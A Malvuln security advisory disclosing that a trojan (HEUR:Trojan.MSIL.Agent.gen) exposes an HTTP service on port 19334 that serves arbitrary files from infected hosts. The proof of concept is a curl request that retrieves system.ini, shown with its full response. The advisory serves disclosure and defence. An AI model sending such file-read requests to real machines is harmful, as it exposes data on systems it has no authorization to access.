Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/bc2ccf92bea475f828dcdcb1c8f6cc92.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR:Trojan.MSIL.Agent.gen
Vulnerability: Information Disclosure
Description: the malware runs an HTTP service on port 19334. Attackers who can reach an infected host can make HTTP GET requests to download and or stat arbitrary files using forced browsing.
Family: Agent
Type: PE64
MD5: bc2ccf92bea475f828dcdcb1c8f6cc92
Vuln ID: MVID-2022-0654
Disclosure: 11/09/2022


Exploit/PoC:
C:\>curl "http://192.168.18.125:19334/c:/Windows/system.ini" -v
  Trying 192.168.18.125:19334...
  Connected to 192.168.18.125 (192.168.18.125) port 19334 (#0)
  GET /c:/Windows/system.ini HTTP/1.1
  Host: 192.168.18.125:19334
  User-Agent: curl/7.83.1
  Accept: */*

* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
  HTTP/1.0 200 OK
  content-encoding: utf8
  content-type: application/octet-stream
  date: Tue, 08 Nov 2022 23:11:55 GMT
  last-modified: Sat, 16 Jul 2016 07:45:35 GMT
  content-disposition: attachment; filename*=UTF-8''system.ini; filename="system.ini"

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
* Closing connection 0


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